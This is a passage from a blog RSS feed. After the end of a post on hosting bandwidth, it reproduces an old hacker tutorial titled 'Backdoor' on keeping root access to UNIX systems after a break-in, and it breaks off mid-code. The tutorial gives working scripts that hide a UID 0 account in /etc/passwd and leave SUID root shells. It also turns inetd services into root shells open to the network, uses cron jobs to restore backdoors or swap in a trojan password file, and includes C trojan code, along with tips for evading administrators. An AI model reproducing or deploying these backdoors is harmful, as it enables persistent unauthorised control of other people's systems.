&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Summary &lt;br /&gt;&lt;br /&gt;Most personal or small business sites will not need more than 1GB of bandwidth per month. If you have a web site that is composed of static web pages and you expect little traffic to your site on a daily basis, go with a low bandwidth plan. If you go over the amount of bandwidth allocated in your plan, your hosting company could charge you over usage fees, so if you think the traffic to your site will be significant, you may want to go through the calculations above to estimate the amount of bandwidth required in a hosting plan.</description><link>http://it-guide888.blogspot.com/2016/12/bandwidth-explained.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-6310949350486613703</guid><pubDate>Sun, 25 Dec 2016 07:18:00 +0000</pubDate><atom:updated>2016-12-24T23:18:08.932-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Online Business Tips</category><title>Backdoor</title><description>Ok..... You&#39;ve been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.&lt;br /&gt;The system *is* tight. You&#39;ve tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect&lt;br /&gt;permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What&#39;s that!?!? A &quot;#&quot; ???? Finally!&lt;br /&gt;After seeming endless toiling, you&#39;ve managed to steal root. Now what? How do you hold onto this precious super-user&lt;br /&gt;privilege you have worked so hard to achieve....? &lt;br /&gt;&lt;br /&gt;This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.&lt;br /&gt;From a hacking perspective, it is obvious what good this paper will do you. Admin&#39;s can likewise benefit from this paper. Ever&lt;br /&gt;wonder how that pesky hacker always manages to pop up, even when you think you&#39;ve completely eradicated him from your&lt;br /&gt;system?&lt;br /&gt;This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are&lt;br /&gt;ways into one. &lt;br /&gt;&lt;br /&gt;Beforehand&lt;br /&gt;&lt;br /&gt;Know the location of critical system files. This should be obvious (If you can&#39;t list any of the top of your head, stop reading&lt;br /&gt;now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field&lt;br /&gt;format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those&lt;br /&gt;robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If&lt;br /&gt;you are connecting remotely (via dial-up/telnet/rlogin/whatver) it&#39;s always nice to have a robust terminal program that has a&lt;br /&gt;nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...&lt;br /&gt;&lt;br /&gt;The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and&lt;br /&gt;skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the&lt;br /&gt;admin isn&#39;t as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time&lt;br /&gt;to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be&lt;br /&gt;looking for back doors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Overt&lt;br /&gt;&lt;br /&gt;[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It&lt;br /&gt;flies a red flag to the admin, saying &quot;WE&#39;RE UNDER ATTACK!!!&quot;. If you must do this, my advice is DO NOT simply&lt;br /&gt;prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle... &lt;br /&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;# Inserts a UID 0 account into the middle of the passwd file.&lt;br /&gt;# There is likely a way to do this in 1/2 a line of AWK or SED.&amp;nbsp; Oh well.&lt;br /&gt;# daemon9@netcom.com&lt;br /&gt;&lt;br /&gt;set linecount = `wc -l /etc/passwd`&lt;br /&gt;cd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Do this at home.&lt;br /&gt;cp /etc/passwd ./temppass&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Safety first.&lt;br /&gt;echo passwd file has $linecount[1] lines.&lt;br /&gt;@ linecount[1] /= 2&lt;br /&gt;@ linecount[1] += 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # we only want 2 temp files&lt;br /&gt;echo Creating two files, $linecount[1] lines each \(or approximately that\).&lt;br /&gt;split -$linecount[1] ./temppass&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # passwd string optional&lt;br /&gt;echo &quot;EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh&quot; &amp;gt;&amp;gt; ./xaa&lt;br /&gt;cat ./xab &amp;gt;&amp;gt; ./xaa&lt;br /&gt;mv ./xaa /etc/passwd&lt;br /&gt;chmod 644 /etc/passwd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # or whatever it was beforehand&lt;br /&gt;rm ./xa* ./temppass&lt;br /&gt;echo Done...&lt;br /&gt;&lt;br /&gt;NEVER, EVER, change the root password. The reasons are obvious. &lt;br /&gt;&lt;br /&gt;[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the&lt;br /&gt;passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the &#39;*&#39; from the second&lt;br /&gt;field). &lt;br /&gt;&lt;br /&gt;[3] Leave an SUID root shell in /tmp. &lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;# Everyone&#39;s favorite...&lt;br /&gt;&lt;br /&gt;cp /bin/csh /tmp/.evilnaughtyshell&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Don&#39;t name it that...&lt;br /&gt;chmod 4755 /tmp/.evilnaughtyshell&lt;br /&gt;&lt;br /&gt;Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted&lt;br /&gt;to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may&lt;br /&gt;notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system&lt;br /&gt;specific. Check out /var/spool/cron/crontabs/root and /etc/fstab. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Veiled&lt;br /&gt;&lt;br /&gt;[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some&lt;br /&gt;background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the&lt;br /&gt;appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical&lt;br /&gt;lines look like this:&lt;br /&gt;&lt;br /&gt;(1)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (2)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (3)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (4)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (5)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (6)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (7)&lt;br /&gt;ftp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stream&amp;nbsp; tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nowait&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/etc/ftpd&amp;nbsp;&amp;nbsp; ftpd&lt;br /&gt;talk&amp;nbsp;&amp;nbsp;&amp;nbsp; dgram&amp;nbsp;&amp;nbsp; udp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; wait&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/etc/ntalkd ntalkd&lt;br /&gt;&lt;br /&gt;Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine&lt;br /&gt;which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.&lt;br /&gt;TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP&lt;br /&gt;or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A &#39;wait&#39; flag indicates that the server will&lt;br /&gt;process a connection and make all subsequent connections wait. &#39;Nowait&#39; means the server will accept a connection, spawn a&lt;br /&gt;child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more&lt;br /&gt;inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual&lt;br /&gt;command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.&lt;br /&gt;This is done with an &#39;internal&#39; flag in fields (6) and (7).&lt;br /&gt;So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it&lt;br /&gt;with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd&lt;br /&gt;file, etc...&lt;br /&gt;For the insinuation-impaired, try this: &lt;br /&gt;&lt;br /&gt;Open the /etc/inetd.conf in an available editor. Find the line that reads: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; daytime stream&amp;nbsp; tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nowait&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp; internal&lt;br /&gt;&lt;br /&gt;and change it to: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; daytime stream&amp;nbsp; tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nowait /bin/sh&amp;nbsp; sh -i.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and&lt;br /&gt;restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea&lt;br /&gt;to do this off peak hours).&lt;br /&gt;&lt;br /&gt;[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One&lt;br /&gt;simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in&lt;br /&gt;/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple: &lt;br /&gt;&lt;br /&gt;(1)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (2)/(3)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (4)&lt;br /&gt;smtp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 25/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mail&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name&lt;br /&gt;associated with the service. For instance, add this line to /etc/services:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; evil&amp;nbsp;&amp;nbsp;&amp;nbsp; 22/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; evil&lt;br /&gt;&lt;br /&gt;and this line to /etc/inetd.conf: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; evil&amp;nbsp;&amp;nbsp;&amp;nbsp; stream&amp;nbsp; tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nowait&amp;nbsp; /bin/sh sh -i&lt;br /&gt;&lt;br /&gt;Restart inetd as before. &lt;br /&gt;&lt;br /&gt;Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,&lt;br /&gt;they offer rentry from *any* account on *any* computer on the Internet. &lt;br /&gt;&lt;br /&gt;[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root&#39;s&lt;br /&gt;crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this&lt;br /&gt;backdoor may or may not last. /var/spool/cron/crontabs/root is where root&#39;s list for crontabs is usally located. Here, you have&lt;br /&gt;several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.&lt;br /&gt;It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,&lt;br /&gt;or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab&lt;br /&gt;entry has six fields:&lt;br /&gt;&lt;br /&gt;(1)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (2)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (3)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (4)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (5)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (6)&lt;br /&gt;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/bin/updatedb&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week&lt;br /&gt;(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,&lt;br /&gt;simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the&lt;br /&gt;/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not&lt;br /&gt;be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your&lt;br /&gt;shady intentions). Add this line to /var/spool/crontab/root: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/bin/trojancode&lt;br /&gt;&lt;br /&gt;This is the shell script: &lt;br /&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;# Is our eviluser still on the system?&amp;nbsp; Let&#39;s make sure he is.&lt;br /&gt;#daemon9@netcom.com&lt;br /&gt;&lt;br /&gt;set evilflag = (`grep eviluser /etc/passwd`)&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if($#evilflag == 0) then&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Is he there?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; set linecount = `wc -l /etc/passwd`&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Do this at home.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cp /etc/passwd ./temppass&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Safety first.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @ linecount[1] /= 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @ linecount[1] += 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # we only want 2 temp files&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; split -$linecount[1] ./temppass&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # passwd string optional&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &quot;EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh&quot; &amp;gt;&amp;gt; ./xaa&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cat ./xab &amp;gt;&amp;gt; ./xaa&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mv ./xaa /etc/passwd&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; chmod 644 /etc/passwd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # or whatever it was beforehand&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm ./xa* ./temppass&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo Done...&lt;br /&gt;else&lt;br /&gt;endif&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the&lt;br /&gt;/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root&lt;br /&gt;account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a&lt;br /&gt;copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).&lt;br /&gt;Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything&lt;br /&gt;would be ok. Add this line to root&#39;s crontab file:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 29&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /bin/usr/sneakysneaky_passwd&lt;br /&gt;&lt;br /&gt;make sure this exists: &lt;br /&gt;&lt;br /&gt;#echo &quot;root:1234567890123:0:0:Operator:/:/bin/csh&quot; &amp;gt; /var/spool/mail/.sneaky&lt;br /&gt;&lt;br /&gt;and this is the simple shell script: &lt;br /&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;# Install trojan /etc/passwd file for one minute&lt;br /&gt;#daemon9@netcom.com&lt;br /&gt;&lt;br /&gt;cp /etc/passwd /etc/.temppass&lt;br /&gt;cp /var/spool/mail/.sneaky /etc/passwd&lt;br /&gt;sleep 60&lt;br /&gt;mv /etc/.temppass /etc/passwd&lt;br /&gt;&lt;br /&gt;[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.&lt;br /&gt;Make sure it runs as root. Name it something innocous. Hide it well. &lt;br /&gt;&lt;br /&gt;/* A little trojan to create an SUID root shell, if the proper argument is&lt;br /&gt;given.&amp;nbsp; C code, rather than shell to hide obvious it&#39;s effects. */&lt;br /&gt;/* daemon9@netcom.com */&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;#define KEYWORD &quot;industry3&quot;&lt;br /&gt;#define BUFFERSIZE 10&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;int main(argc, argv)&lt;br /&gt;int argc;&lt;br /&gt;char *argv[];{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int i=0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(argv[1]){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* we&#39;ve got an argument, is it the keyword? */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(!(strcmp(KEYWORD,argv[1]))){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* This is the trojan part. */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; system(&quot;cp /bin/csh /bin/.swp121&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; system(&quot;chown root /bin/.swp121&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; system(&quot;chmod 4755 /bin/.swp121&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Put your possibly system specific trojan&lt;br 